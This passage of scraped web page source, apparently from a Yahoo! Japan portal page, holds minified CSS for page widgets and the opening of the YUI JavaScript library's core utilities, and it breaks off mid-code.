solid;text-align:center;}#uhdsetstart{position:absolute;left:5px;padding-top:2px;}#uhdassist{position:absolute;right:5px;}#clrEx{float:left;margin:3px 5px 0 0;padding-right:5px;border-right:1px solid #ccc;line-height:1;}#clr{float:left;}#clr li{float:left;margin:3px 5px 0 0;border-style:solid;border-width:1px;line-height:0;}#clr li a{display:block;*float:left;width:6px;height:6px;border-style:solid;border-width:2px;overflow:hidden;text-indent:-9999px;}#clr1{border-color:#a2b6d8;}#clr1 a{background-color:#c8d2e7;border-color:#c8d2e7;}#clr2{border-color:#d49fc9;}#clr2 a{background-color:#fbcaf0;border-color:#fbcaf0;}#clr3{border-color:#ffbc6d;}#clr3 a{background-color:#ffdaa4;border-color:#ffdaa4;}#clr4{border-color:#4ec346;}#clr4 a{background-color:#95da75;border-color:#95da75;}#clr5{border-color:#bdbdbd;}#clr5 a{background-color:#d6d6d6;border-color:#d6d6d6;}#clr6{border-color:#c4defa;}#clr6 a{background-color:#edf4f8;border-color:#edf4f8;}#clr1 .on,#clr1 a:hover{background-color:#6179a0;}#clr2 .on,#clr2 a:hover{background-color:#ef64c8;}#clr3 .on,#clr3 a:hover{background-color:#ff882b;}#clr4 .on,#clr4 a:hover{background-color:#1e880b;}#clr5 .on,#clr5 a:hover{background-color:#737373;}#clr6 .on,#clr6 a:hover{background-color:#c8d2e7;}#uhdassist .help{float:left;margin-top:2px;}#uhdassist .help a{border-left:1px solid #ccc;padding-left:5px;line-height:1em;}#toptxt{position:relative;z-index:7;margin:0 0 8px -1.8em;text-align:center;}#toptxt li{display:inline;margin-left:1.8em;}#navi #contentbox{border-top:0;background-position:0 -2800px;}#contentbox .hd{border-top:1px solid;position:static;}#contentbox .hd .cbbtn{float:left;margin-top:1px;padding:1px;border-right:1px solid;}#contentbox .hd .cbbtn span{border-right:1px solid #fff;}#contentbox .hd .cbbtn a{display:block;width:10px;height:10px;padding:3px 4px;text-indent:-9999px;overflow:hidden;}#cbbtntop{background-position:0 -110px;}#cbbtnbtm{background-position:-20px -110px;}#contentbox .changepos h2{padding-left:25px;}#contentbox .hd span.assist{float:right;margin-top:2px;margin-right:1px;}#contentbox ul{padding:2px 3px 0;*zoom:1;}#contentbox ul li{margin:1px 0;padding:3px 0;}#contentbox ul li a{padding:3px 0 3px 20px;background-repeat:no-repeat;}.cbysC1{background-position:0 -251px;}.cbysC2{background-position:0 -291px;}.cbysC5{background-position:0 -331px;}.cbysC12{background-position:0 -371px;}.cbysC13{background-position:0 -412px;}.cbysC14{background-position:0 -452px;}.cbysC15{background-position:0 -492px;}.cbysC25{background-position:0 -532px;}.cbysC26{background-position:0 -211px;}.cbysC33{background-position:0 -572px;}.cbysC34{background-position:0 -612px;}.cbysC41{background-position:0 -652px;}.cbysC73{background-position:0 -692px;}.cbysC48{background-position:0 -730px;}.cbysC37{background-position:0 -770px;}.cbysC53{background-position:0 -812px;}.cbysC57{background-position:0 -852px;}.cbysC46{background-position:0 -892px;}.cbysC44{background-position:0 -930px;}#favoriteservice ul li a{background-position:0 50%;}#cb2bgcx{position:absolute;left:0;*left:-2px;top:-1px;z-index:1;border:0;overflow:hidden;}#cb2bg{position:absolute;top:0;right:0;min-width:590px;width:46em;border:2px solid #ccc;border-width:0 2px 2px 0;background-color:#fff;}#checknumber,.cb2moreservice{width:100%;}.cb2ndhd{min-height:4em;_height:3.7em;}#checknumber .checkmax,.cb2moreservice .changemode{float:left;padding-left:10px;}#checknumber .checknow,.cb2moreservice .more{float:right;padding-right:10px;}.cb2moreservice{height:2.7em;*background-color:#fff;}.cb2moreservice .changemode{font-weight:bold;}.contentbox2nd{border:1px solid;color:#fff;background-position:0 -2050px;background-color:#fff;}.contentbox2nd h2{padding:5px 10px;color:#fff;}.contentbox2nd strong{color:#f00;}.contentbox2nd .cb2detail{margin:0 10px;border:1px solid #ccc;background:#fff;color:#000;}.cb2allservice{position:relative;z-index:2;padding:0 2px 5px 2px;background:#f0f3fa;overflow:hidden;*zoom:1;}#cb2yjedit .cb2allservice{background:#fffddb;}.contentbox2nd h3{clear:both;padding:4px 0 3px;}.cb2allservice ul li,#cb2worldservice ul li{position:relative;z-index:1;display:inline;float:left;width:20%;margin-bottom:3px;}#cb2yjedit .cb2allservice ul{*margin-top:-3px;*margin-bottom:4px;margin-bottom:3px;}#cb2yjedit .cb2allservice ul li{*margin-bottom:-3px;}.cb2allservice ul li *{vertical-align:middle;}.cb2allservice ul li label *{*vertical-align:baseline;}.cb2allservice ul li.on{color:#f00;font-weight:bold;*letter-spacing:-1px;}.cb2allservice ul li.off{color:#999;}.cb2allservice ul li.off input{visibility:hidden;}.cb2etc{padding:0 2px;}.cb2moreservice{clear:both;}.contentbox2nd span.close a{position:absolute;top:5px;right:8px;color:#fff;}#cb2yjservice .cb2detail ul li a{margin-left:15px;}#cb2worldservice{_height:71px;min-height:71px;}#cb2yjedit input{width:15px;}#cb2selectarea{position:relative;min-height:61px;_height:71px;padding-top:10px;}#cb2selectarea li{margin-bottom:5px;}#cb2selectarea button{width:7.8em;padding:1px 0;*padding:0;border:0;border-top:1px solid #fff;font-weight:bold;text-align:center;}#cb2selectarea p{position:absolute;bottom:10px;right:10px;}#cb2selectarea span{display:block;float:left;}#cb2cancelbg{position:relative;right:5px;}#cb2selectarea span#cb2cancelbg,#cb2selectarea button#cb2cancel{background:#ccc;}#cb2selectarea span#cb2cancelbg{border:1px solid #666;}#cb2selectarea span#cb2setupbg,#cb2selectarea button#cb2setup{background:#fc3;}#cb2selectarea span#cb2setupbg{border:1px solid #ce8800;}#cb2bg .off #cb2selectarea span#cb2setupbg{border-color:#d1d1d1;}#cb2bg .off #cb2selectarea span#cb2setupbg,#cb2bg .off #cb2selectarea span#cb2setupbg button{background:#ddd;color:#999;}#navi #cb2popup{position:absolute;z-index:9;padding-bottom:3px;border:0;background:transparent;width:12em;margin:-7.7em 0 0 -1.05em;letter-spacing:-0.8px;}#cb2popup p{padding:4px 0 4px 2px;border:3px solid #b9c6d3;background:#fff;color:#000;font-weight:normal;}#cb2popup p strong{color:#e72e00;font-weight:bold;}#cb2popup p span,#cb2popup .cb2pbg2{background:url(http://k.yimg.jp/images/top/sp2/cb/cb2p_bg-090407.gif) no-repeat 0 0;}#cb2popup p span{position:absolute;right:2px;*right:1px;top:-6px;display:block;width:17px;height:13px;text-indent:-9999px;cursor:pointer;}#cb2popup .cb2pbg{margin:0 2px -3px 0;}#cb2popup .cb2pbg2{padding-bottom:9px;background-position:-20px 100%;}#csr{background-position:0 -3100px;}#csr ul{padding:0 0 0 6px;}#companybox{padding:0 2px;background-position:0 -930px;}#companybox div{border-top:1px solid;}#companybox h2{padding:5px 5px 0;border-top:1px solid #fff;}#companybox ul,#companybox p{margin:0 0 0 4px;overflow:hidden;*zoom:1;}#companybox #cmprikunabi,#companybox #cmprikunabi h2{border-top:0;}#cmprikunabi ul{margin-top:7px;margin-bottom:7px;}#cmprikunabi ul li{display:inline;margin-left:0.5em;}#cmprikunabi ul li.first{margin-left:0;}#cmprikunabi p{margin-bottom:7px;}#composite li{margin-bottom:10px;*margin-bottom:8px;line-height:0;}#composite .exception{margin-top:-10px;}#composite li a{display:block;text-indent:-9999px;width:170px;height:40px;margin:auto;overflow:hidden;background-image:url(http://k.yimg.jp/images/top/sp2/cmp/comp_all-091228.png);}#composite li a#cmpSl{background-position:0 -40px;}#composite li a#cmpElc{background-position:0 -80px;}#composite li a#cmpOlym{background-position:0 -120px;}#topicsbox{border-top:none;}#topicsbox .hd{margin:0 -1px;border-bottom:0;}#topicsbox h2{display:none;}#topicsbox .tab{position:relative;z-index:1;padding-bottom:1px;border:1px solid;background-position:0 -100px;}#topicsbox .tab li{position:relative;float:left;width:20%;margin:-1px 0 -2px;border-bottom:1px solid;*border-bottom:0;border-top:1px solid;background-position:0 -100px;text-align:center;}#topicsbox .tab li span{display:block;position:relative;z-index:9;margin-bottom:-1px;border-right:1px solid;background-position:100% 0;*zoom:1;}#topicsbox .tab li span a{display:block;position:relative;margin-right:-2px;*margin-bottom:-1px;padding:1px 2px 2px 0;border:1px solid #fff;*zoom:1;}#topicsbox .on1 .tab0 span a,#topicsbox .on2 .tab1 span a,#topicsbox .on3 .tab2 span a,#topicsbox .on4 .tab3 span a,#topicsbox .tab .on span a,#topicsbox .tab .last span a{margin-right:0;padding-right:0;}#topicsbox .tab .tab1 span a{*border-left:0;}#topicsbox .on4{border-bottom-color:#fff;border-right-color:#9baab1;background-position:0 -300px;background-color:#fff;padding-bottom:2px;*padding-bottom:1px;}#topicsbox .tab .on{z-index:9;padding:0;margin-bottom:-2px;*margin-bottom:-1px;background-position:0 -300px;background-color:#fff;}#topicsbox .tab .on span{*padding-bottom:1px;border-right:1px solid;border-bottom:1px solid #fff;}#topicsbox .tab .off span{border-right:1px solid;*border-bottom:1px solid;}#topicsbox .tab .last{*width:19.7%;border-bottom:0;}#topicsbox .tab .last span,#topicsbox .tab .last span a{border-right:0;}#topicsbox .on4 .on span{border-right:0;}#topicsboxbd{min-height:220px;padding-right:10px;overflow:hidden;_overflow:visible;*zoom:1;}#topicsboxbd div{display:none;}#topicsboxbd div div,#topicsboxbd .current{display:block;}.topicsindex{float:left;width:63.5%;}.topicsindex em{margin:6px 0 0 8px;}.topicsindex .emphasis{margin:6px 0 0 5px;}.topicsindex .emphasis li,#othersfb .detail li{margin:5.5px 0 5px;}.topicsindex .emphasis li,#othersfb .detail li, x:-moz-any-link{max-height:1.23em;}.topicsindex .emphasis li img{margin-left:2px;}.topicsindex .more{margin:12px 15px;}.topicsindex .more li{display:inline;padding-right:1em;}.topicscatch{float:right;width:35.2%;margin-top:10px;padding-top:1px;}#topicsbox .topicsdetail{padding:3px 5px 3px 9px;margin:-1px 0 0;}#topicsboxbd .topicsdetail{border:1px solid;}.topicsimg{margin:6px 0 0 -4px;padding-bottom:2px;text-align:center;}#tpcsimgfilter{margin:auto;}.topicscatch h3,.topicscatch ul li{margin:2px -3px 0 0;padding-bottom:2px;}.topicscatch p{margin-bottom:2px;padding:2px 0;}#topicsbox em,#topicsbox .topicsdetail cite{display:block;color:#666;}#topicsbox .topicsdetail cite{margin-bottom:5px;}.topicscatch .item{padding:1px 0 2px;margin-left:-5px;}.topicscatch .mds{margin-bottom:5px;}.tpcdtlinfo{position:relative;padding-bottom:4px;}.tpcdtlinfo dt,.tpcdtlinfo dd{line-height:1.1em;*line-height:1em;}.tpcdtlinfo dt{margin-top:4px;}.tpcdtlinfo dd{text-align:right;margin-right:4px;}.tpcdtlinfo dt.ex,.tpcdtlinfo dt.last{position:absolute;left:0;}.tpcdtlinfo dd.ex,.tpcdtlinfo dd.last{margin-top:4px;margin-left:3em;}.tpcdtlinfo dd.low{color:#f00;}#othersfb{padding:5px 0 0 10px;*margin-right:-10px;}#othersfb .detail{float:left;width:50%;*width:49.8%;}#othersdetail3{clear:both;padding-top:10px;overflow:hidden;}#othersdetail3 h3{float:left;padding-right:14px;}#othersdetail3 h4{margin:0 -10px 8px 0;font-weight:normal;}#topicsbox .notfound{_height:auto;min-height:1em;}.notfound #topicsfb p{color:#666;line-height:1.7em;margin:20px 16px 20px;}.notfound #topicsfb p strong{margin-left:-6px;}.notfound #topicsfb p a{text-decoration:underline;}#topicsInfo dt a{display:block;width:46px;height:46px;background-position:0 -200px;text-indent:-9999px;overflow:hidden;line-height:0;}#spotlight{padding:10px 10px 0;background-position:0 -300px;*zoom:1;}#splsentence{float:left;width:61%;}.spltmp3 #splsentence{margin-bottom:2em;}.spltmp3 #splsentence h2{margin-bottom:0.5em;}#spotlight .nonImg{width:auto;}#splsentence p{margin:10px 4px;line-height:1.5;*line-height:1.4;}#splimg{float:right;width:142px;padding-bottom:5px;text-align:center;}#splimgfilter{width:142px;height:100px;}#spotlight ul{clear:both;margin:0 9px 9px;overflow:hidden;*zoom:1;}#spotlight ul li{float:left;width:50%;margin:3px -1px 3px 0;}#spotlight .mds{margin:0 12px 2px;}#spldetail{clear:both;margin-bottom:10px;padding:3px 5px;text-align:center;}#splBkNum{margin:0 -10px;}#eventPromo{padding:11px 8px;overflow:hidden;*zoom:1;}#eventPromo .img{float:left;padding-right:8px;}#eventPromo p{margin:4px 0 0 178px;line-height:1.4em;}#selectionR #slcbd{position:relative;min-height:125px;_height:125px;overflow:hidden;_overflow:visible;}#selectionR .slcImg{padding:5px;}#selectionR li{margin:0 0 7px;*zoom:1;}#selectionR #slcbd,#selectionR h4{padding:4px 5px;*padding-bottom:8px;}#selectionR p{margin:4px 5px;}#selectionR h4,#selectionR ul{margin-bottom:4px;padding-right:0;}#selectionR h5.f2b a{padding:2px 0 2px 18px;background-repeat:no-repeat;background-position:0 50%;}#selectionR .slctmpR2 h4,#selectionR .slctmpR12 h4{padding-bottom:0;}#selectionR .slctmpR11{margin-left:4px;}#selectionR .slctmpR12{padding-right:0;}#selectionR .slctmpR12 p{margin-top:0;}#selectionR .slctmpR13 h4{padding-right:5px;}#selectionR .slctmpR13 ul{clear:left;}#selectionR .slctmpR15 .slcImg{padding:5px 0;text-align:center;}.al{float:left;padding-right:10px;}.ar{float:right;}.ac{text-align:center;}.pa{position:absolute;left:5px;}.c2{width:50%;*width:49.9%;float:left;}.c2b{width:50%;*width:39.5%;float:left;}.c3{float:left;width:33.33%;*width:33%;}.c3b{width:33.33%;*width:25%;float:left;}.c4{width:25%;*width:24.9%;float:left;}.f1{margin-left:83px;}.f2b{margin-left:129px;}#vdobd{overflow:hidden;*zoom:1;}#vdobd .imgfilter{width:120px;height:90px;}#vdobd em{color:#666;line-height:1.22;}.vdotmp1b{position:relative;padding:2px 10px 6px;}.vdotmp1b em{float:left;display:block;margin-top:103px;width:120px;}.vdotmp1b em span{vertical-align:bottom;}.vdotmp1b .img{position:absolute;top:10px;left:9px;border:1px solid #666;padding:1px;}.vdotmp1b .symbol{padding:0 0 1.5em 130px;*margin:10px 0 0 -3px;}.vdotmp1b .more{position:absolute;right:10px;bottom:7px;line-height:1.1;}.vdotmp2{padding:4px 0 4px 11px;background-position:0 -2440px;background-repeat:repeat-x;}.vdotmp2 ul{*zoom:1;*margin-right:-2px;}.vdotmp2 ul li{float:left;width:33.3%;margin-bottom:0;}.vdotmp2 ul li .imgfilter{margin:0 auto 22px;}.vdotmp2 ul li .img,.vdotmp2 ul li p,.vdotmp2 ul li em{padding-right:10px;}#cgmboxR #cgmbd{padding:9px 8px 0;overflow:hidden;*zoom:1;}#cgmboxR h3{margin-bottom:8px;}#cgmboxR p{padding-bottom:10px;line-height:1.5em;}#cgmboxR img{float:left;}.cgmtmpR2b ul{margin:-7px 0 0 127px;}.cgmtmpR3 ol,.cgmtmpR4 ul,.cgmtmpR10 ul,.cgmtmpR13 ol{float:left;width:50%;*width:49.8%;margin:-7px 0 1px;overflow:hidden;*zoom:1;}#cgmboxR .cgmtmpR5 li p,#cgmboxR .cgmtmpR6 li p{margin:2px 12px 0;padding-bottom:0;line-height:1.2em;*line-height:1.1em;}.cgmtmpR6 ul{margin-left:108px;}.cgmtmpR7 img,.cgmtmpR11 img{clear:both;}.cgmtmpR7 h4,.cgmtmpR11 h4{margin-bottom:10px;font-weight:normal;}.cgmtmpR7 .detail,.cgmtmpR11 .detail{_height:84px;min-height:84px;margin-left:110px;}.cgmtmpR12 p{margin-bottom:-5px;}.cgmtmpR13 ol{*padding-bottom:2px;}#announce .item{margin:8px 0 0 3px;}#sub #brandpanel{position:relative;z-index:3;border:0;background-color:transparent;text-align:center;}#sub .yzq_x{left:-9999px;}#personalbox{z-index:2;padding:5px 5px 0;background-position:0 100%;*zoom:1;}#personalbox h2{display:none;}#pbproperty .connect,#personalbox h3 span,#personalbox #pbdata{font-weight:bold;}#pbidinfo,#pbproperty{position:relative;*zoom:1;}#pbidinfo li{margin:3px 0 0;}#pbidinfo .loginout{position:absolute;top:2px;}#pbidinfo .info{position:absolute;right:0;top:0.5em;}#pbidinfo .info span{position:absolute;right:0;width:5em;top:-0.3em;text-align:center;}#pbproperty{margin-top:2.2em;border:1px solid;background:#fff;*zoom:1;}#pbproperty .connect{padding:4px 0;margin:0 0 0 4px;}#pbproperty .connect #mailicon{position:absolute;display:block;width:36px;height:27px;float:left;margin-top:-7px;text-indent:-9999px;overflow:hidden;background-position:0 -130px;}#pbproperty .connect #mailicon.on{background-position:0 -160px;}#pbproperty .connect .txt{padding-left:40px;}#pbproperty .shortcut{position:absolute;top:50%;right:5px;margin-top:-8px}#pbproperty .shortcut li{float:left;padding-left:8px;margin:0;}#pbproperty .shortcut li a{display:block;overflow:hidden;text-indent:-9999px;width:16px;height:16px;background-position:0 -94px;}#pbproperty .shortcut li a.second{background-position:-19px -94px;}#pbproperty .shortcut li a.third{background-position:-37px -94px;}#pbindex{position:relative;z-index:2;background-position:0 -600px;*zoom:1;}#pbindex li{margin:0;}#pbindexbg{position:relative;z-index:2;margin-top:2px;padding:1px 2px 3px;border:1px solid;background:#fff;}#pbtoday{position:relative;padding:0 47% 0 2px;*padding-right:4px;*zoom:1;}#pbtoday:after{content:\"\";display:block;clear:both;}#pbweather,#pbplan,#pbfortune{border-top:1px solid;*zoom:1;}h3#pbdata{padding:3px 0;text-align:center;}#pbweather{position:relative;z-index:9;}#pbweather.grayout{*zoom:1;line-height:1.3;}#pbweather .img{position:absolute;display:block;width:175px;height:48px;top:0;margin-top:-5px;*margin-top:-3px;text-indent:-9999px;background-position:-250px -250px;}#pbweather.grayout #pbwlocation{padding-top:4px;*padding-top:1px;}#pbweather,#pbplan,#pbfortune{padding:3px 0;clear:left;}#pbweather h3{float:left;}#pbwarea{text-indent:10px;}#pbwicon{clear:left;float:left;}#pbwicon a{display:block;width:33px;height:20px;}#pbindex #pbwtemperature{float:right;margin-top:4px;padding-left:2em;border-left:1px solid #999999;line-height:1;}#pbwtemperature .high{color:#f00;}#pbwtemperature .low{color:#00f;}#pbwrprobability{margin-bottom:3px;padding:3px 15px 0 0;text-align:center;}#pbtoday .grayout h3{float:none;}#pbwlocation{clear:left;text-align:right;}#pbplan h3,#pbfortune h3{position:absolute;}#pbpnumber,#pbfconstellation{float:left;padding:0 0 3px 5.8em;}#pbfpoint{float:right;}#pbfortune{position:relative;z-index:5;}#pbfortune .floatingw{position:absolute;left:-5px;z-index:9;width:15em;margin-top:1em;padding:5px 5px 1px;border:1px solid #ccc;background:#fffac6;}#pbfortune .floatingw li{float:left;width:4.8em;padding:0 0.2em 0.4em 0;}#pbfortune .floatingw li a{padding-left:17px;background-repeat:no-repeat;}#aries{background-position:0 -972px;}#taurus{background-position:0 -1012px;}#gemini{background-position:0 -1052px;}#cancer{background-position:0 -1092px;}#leo{background-position:0 -1132px;}#virgo{background-position:0 -1172px;}#libra{background-position:0 -1212px;}#scorpio{background-position:0 -1252px;}#sagittarius{background-position:0 -1292px;}#capricorn{background-position:0 -1332px;}#aquarius{background-position:0 -1372px;}#pisces{background-position:0 -1412px;}#pbcalendar{*position:relative;*z-index:-1;*margin-top:1px;float:right;}#pbcbg{margin-top:1px;*margin-top:0;padding:1px 0 0 1px;border:1px solid #ccc;}#pbcalendar table{position:relative;z-index:1;border:1px solid #fff;}#pbcalendar table td{padding:2px 2px 0 3px;*padding:2px 3px 1px 3px;text-align:right;}#pbcalendar table td a{display:block;min-width:16px;}#personalbox table td .e{color:#999;}#personalbox table td .h{color:#f00;}#pbcalendar table td.t a{color:#fff;}#pbsocial{margin-top:5px;padding:4px 8px;*padding:3px 8px 5px;background:#fff;border:1px solid;overflow:hidden;*zoom:1;}#pbsocial p a{background-position:0 -1832px;display:block;float:left;margin:-1px 0;padding:2px 0 2px 20px;min-height:13px;}#pbsocial dl{margin:0 -5px;}#pbsocialInfo{float:left;width:56%;padding-top:2px;background-position:0 -1873px;}#pbsocial dt a{padding-left:16px;}#pbsocial dd{float:right;*margin-top:2px;background-image:url(http://k.yimg.jp/images/top/sp2/pb/vitality_bg-091118.png);background-repeat:no-repeat;*zoom:1;}#pbsocial dd{padding-left:5px;}#pbsocialNotice{border-left:1px solid #999;}#pbsocial dd.level0{background-position:5px 2px;}#pbsocial dd.level1{background-position:5px -38px;}#pbsocial dd.level2{background-position:5px -78px;}#pbsocial dd.level3{background-position:5px -118px;}#pbsocial dd.level4{background-position:5px -158px;}#pbsocial dd.level4x{background-position:5px -198px;}#pbsocial dd a{display:block;width:65px;text-indent:-9999px;overflow:hidden;}#pbsocialNotice a{background-position:6px -1913px;}#pbsocialMsg a{background-position:6px -1953px;}#pblogininfo{margin:5px -4px 0;border-top:1px solid;*zoom:1;}#pblogininfo ul{padding-left:12px;border-top:1px solid #fff;}#pblogininfo ul li{margin:3px 0;}#pblogininfo li a{padding:2px 0 2px 20px;background-repeat:no-repeat;min-height:13px;display:inline-block;}#pblogininfo .point{float:left;width:54%;border-right:1px solid #999;}#pblogininfo .star{float:right;width:43%;}#pblogininfo .point a{background-position:0 -1652px;}#pblogininfo .star a{background-position:0 -1992px;}#pblogininfo .login a{background-position:0 -1692px;}#yjidbox{position:relative;*zoom:1;background-position:0 -930px;}#yjidbox{min-height:68px;padding:5px 10px;}#yjidbox h2{float:left;margin-right:1.2em;}#yjidbox h2 a{background-position:0 -1793px;padding:2px 0 2px 20px;*zoom:1;}#yjidbox .more{text-align:right;}#yjidbox img{position:absolute;left:10px;margin-top:5px;}#yjidbox ul{margin:10px 0 12px 60px;}#sub #yjidboxB{border:none;background:none;text-align:center;}#everywhere .item{margin:8px 0 0 3px;}#everywherePromo{margin:10px;text-align:center;}#notice ul{padding:0 10px;}#rightbox{overflow:hidden;*zoom:1;}#rightbox #rbdtl3{margin:8px 0 0 3px;}#rightbox #rbdtl3 li{*zoom:1;}#rightbox #rbimg{float:left;}#rightbox #rbimg a{outline:none;}#rightbox #rbimg a img{border:1px solid #ccc;}#rightbox #rbimg img,#rightbox #rbimg2 img{margin:10px;}#rightbox #rbimg img{*margin-bottom:0;}#rightbox #rbdtl{margin:5px 10px;}#rightbox #rbdtl2{margin:13px 10px;}#rightbox #rbdtl a,#rightbox #rbdtl2 a{line-height:1.8em;*line-height:1.6em;}#sub #rightbox2{border-top:0;margin-top:-10px;padding:7px 10px;}#local{z-index:9;*zoom:1;}#localbd{overflow:hidden;*zoom:1;}#localbd .item{margin:8px 0 0 3px;}#localbd dl{clear:both;*zoom:1;margin:0 10px 5px;padding-top:5px;}#localbd dt{display:inline;padding:1px 2px;background-color:#ff7301;color:#fff;font-size:85%;}#localbd dd{display:inline;margin-left:1em;}#localbd .more{clear:both;*zoom:1;text-align:right;padding:4px 10px;}#partner .item{margin:8px 0 0 3px;}#partner p.more{margin:0 10px 10px;text-align:right;}#footer{padding:5px 0;margin-bottom:0;}#footer ul,#footer address{margin:5px auto;}.ulmwindow{position:absolute;left:-11px;z-index:9;display:block;min-width:328px;width:24.6em;margin-top:-2px;padding:10px;border:1px solid #6990b4;background:#fffac6;color:#666;}.ulmwindow form{position:relative;*zoom:1;}body .ulmwindow .alert{color:#f00;}.ulmwindowttl{margin:10px 0 -6px;}.ulmwindowdtl{height:100px;margin-top:11px;padding:1px 0;border:1px solid #ccc;background:#fff;overflow:auto;}ul.ulmwindowdtl li{margin:3px 0;}ul.ulmwindowdtl li a{display:block;margin:0 1px;padding:1px 0 1px 0.5em;}.ulmwindow .ulmwindowbd{padding:8px 9px;border:1px solid #ccc;background:#fffac6;}.ulmwindow label{display:block;}.ulmwindow .ulmwindowCth{margin-bottom:4px;color:#000;line-height:1.5;}.ulmwindow .ulmwindowmds{margin-bottom:7px;color:#666;}.ulmwindow .ulmStart .ulmwindowmds{margin-bottom:2px;}.ulmwindowmds span{display:block;margin:3px 0 0 1em;}.ulmwindow .ulmwindowsearch *{vertical-align:middle;}.ulmwindow .ulmwindowarea{position:relative;}.ulmwindow .ulmwindowsearch{vertical-align:middle;padding-bottom:3px;}.ulmwindow .ulmwindowsearch input{width:77%;min-height:16px;*height:17px;margin-right:3px;padding:1px 3px;border:1px solid #7f9db9;}.ulmwindow .ulmwindowsearch button{padding:0 10px;*padding:0 6px;*height:21px;border:1px solid;background-position:0 -2730px;}.ulmwindow .ulmwindowsearch .ulmwindowsrchbtn0{border-color:#666767;background-color:#ccc;}.ulmwindow .ulmwindowsearch .ulmwindowsrchbtn{border-color:#57718f;background-color:#57718f;background-position:0 -2700px;color:#fff;}.ulmwindow .ulmwindowevery{margin:6px 0 0 4em;}.ulmwindow .ulmwindowevery input{margin-right:1em;}.ulmwindow .ulmwindowevery *{*vertical-align:middle;}.grayout #pbweatherfw{left:-11px;}#pbweatherfw .ulmwindowCth{background-position:0 -97px;}#localfw{top:1.6em;left:-1px;}#localfw2{position:static;width:auto;margin:0;border-width:0 0 1px;}#localfw2 .ulmwindowCth{background-position:0 -250px;}#changeMode{position:absolute;bottom:13px;left:0;z-index:5;border:1px solid #b4bdc3;background-color:#e5eaeb;background-position:0 -2760px;background-repeat:repeat-x;}#changeMode a{display:inline-block;padding:4px 9px 1px 28px;*padding:3px 6px 2px 28px;background-position:0 -2800px;border-bottom:1px solid #fff;}#selectionR h5{padding-top:5px;font-weight:normal;}#selectionR img.ico{padding:1px;vertical-align:middle;}.f2{margin-left:155px;}.vdotmp1{position:relative;padding:2px 10px 6px;}.vdotmp1 em{float:left;display:block;margin-top:122px;width:140px;}.vdotmp1 .img{position:absolute;left:10px;top:2px;padding:15px 11px;background:url(http://k.yimg.jp/images/top/sp2/vdo/vdo_all-091208.png) no-repeat;}.vdotmp1 .symbol{padding:0 0 1.5em 148px;}.vdotmp1 .more{position:absolute;right:10px;bottom:7px;line-height:1.1;}.cgmtmpR2 ul{margin:-7px 0 0 151px;}.bxShp{overflow:hidden;padding-bottom:9px;}.bxShp img{float:left;margin:9px 9px 0;}.bxShp .item{margin:14px 0 0 66px;}.bxShp .item li{margin-top:8px;}#centralPosition{margin-top:-20px;border-top:0;}#centralPosition dl{margin:0 9px 0 67px;padding:9px 0 7px 0;background:url(http://k.yimg.jp/images/top/sp2/cmn/pic_all-091118.png) repeat-x 0 -2840px;}#centralPosition dt{position:absolute;left:9px;font-weight:bold;}#centralPosition dd{margin-left:-67px;padding-left:3.8em;}\n--></style>\n<script type=\"text/javascript\"><!--\nvar ver=\"ga3_fx\";\nif(typeof YAHOO==\"undefined\"||!YAHOO){var YAHOO={}}YAHOO.namespace=function(){var a=arguments,b=null,d,e,c;for(d=0;d<a.length;d=d+1){c=(\"\"+a[d]).split(\".\");b=YAHOO;for(e=(c[0]==\"YAHOO\")?1:0;e<c.length;e=e+1){b[c[e]]=b[c[e]]||{};b=b[c[e]]}}return b};YAHOO.log=function(b,a,c){var d=YAHOO.widget.Logger;if(d&&d.log){return d.log(b,a,c)}else{return false}};YAHOO.register=function(d,i,a){var e=YAHOO.env.modules,c,f,g,h,b;if(!e[d]){e[d]={versions:[],builds:[]}}c=e[d];f=a.version;g=a.build;h=YAHOO.env.listeners;c.name=d;c.version=f;c.build=g;c.versions.push(f);c.builds.push(g);c.mainClass=i;for(b=0;b<h.length;b=b+1){h[b](c)}if(i){i.VERSION=f;i.BUILD=g}else{YAHOO.log(\"mainClass is undefined for module \"+d,\"warn\")}};YAHOO.env=YAHOO.env||{modules:[],listeners:[]};YAHOO.env.getVersion=function(a){return YAHOO.env.modules[a]||null};YAHOO.env.ua=function(){var b={ie:0,opera:0,gecko:0,webkit:0,mobile:null,air:0,caja:0},c=navigator.userAgent,a;if((/KHTML/).test(c)){b.webkit=1}a=c.match(/AppleWebKit\\/([^\\s]*)/);if(a&&a[1]){b.webkit=parseFloat(a[1]);if(/ Mobile\\//.test(c)){b.mobile=\"Apple\"}else{a=c.match(/NokiaN[^\\/]*/);if(a){b.mobile=a[0]}}a=c.match(/AdobeAIR\\/([^\\s]*)/);if(a){b.air=a[0]}}if(!b.webkit){a=c.match(/Opera[\\s\\/]([^\\s]*)/);if(a&&a[1]){b.opera=parseFloat(a[1]);a=c.match(/Opera Mini[^;]*/);if(a){b.mobile=a[0]}}else{a=c.match(/MSIE\\s([^;]*)/);if(a&&a[1]){b.ie=parseFloat(a[1])}else{a=c.match(/Gecko\\/([^\\s]*)/);if(a){b.gecko=1;a=c.match(/rv:([^\\s\\)]*)/);if(a&&a[1]){b.gecko=parseFloat(a[1])}}}}}a=c.match(/Caja\\/([^\\s]*)/);if(a&&a[1]){b.caja=parseFloat(a[1])}return b}();(function(){YAHOO.namespace(\"util\",\"widget\",\"example\");if(\"undefined\"!==typeof YAHOO_config){var d=YAHOO_config.listener,a=YAHOO.env.listeners,b=true,c;if(d){for(c=0;c<a.length;c=c+1){if(a[c]==d){b=false;break}}if(b){a.push(d)}}}})();YAHOO.lang=YAHOO.lang||{};(function(){var f=YAHOO.lang,b=\"[object Array]\",e=\"[object Function]\",a=Object.prototype,c=[\"toString\",\"valueOf\"],d={isArray:function(g){return a.toString.apply(g)===b},isBoolean:function(g){return typeof g===\"boolean\"},isFunction:function(g){return a.toString.apply(g)===e},isNull:function(g){return g===null},isNumber:function(g){return typeof g===\"number\"&&isFinite(g)},isObject:function(g){return(g&&(typeof g===\"object\"||f.isFunction(g)))||false},isString:function(g){return typeof g===\"string\"},isUndefined:function(g){return typeof g===\"undefined\"},_IEEnumFix:(YAHOO.env.ua.ie)?function(i,j){var k,g,h;for(k=0;k<c.length;k=k+1){g=c[k];h=j[g];if(f.isFunction(h)&&h!=a[g]){i[g]=h}}}:function(){},extend:function(h,g,i){if(!g||!h){throw new Error(\"extend failed, please check that all dependencies are included.\")}var j=function(){},k;j.prototype=g.prototype;h.prototype=new j();h.prototype.constructor=h;h.superclass=g.prototype;if(g.prototype.constructor==a.constructor){g.prototype.constructor=g}if(i){for(k in 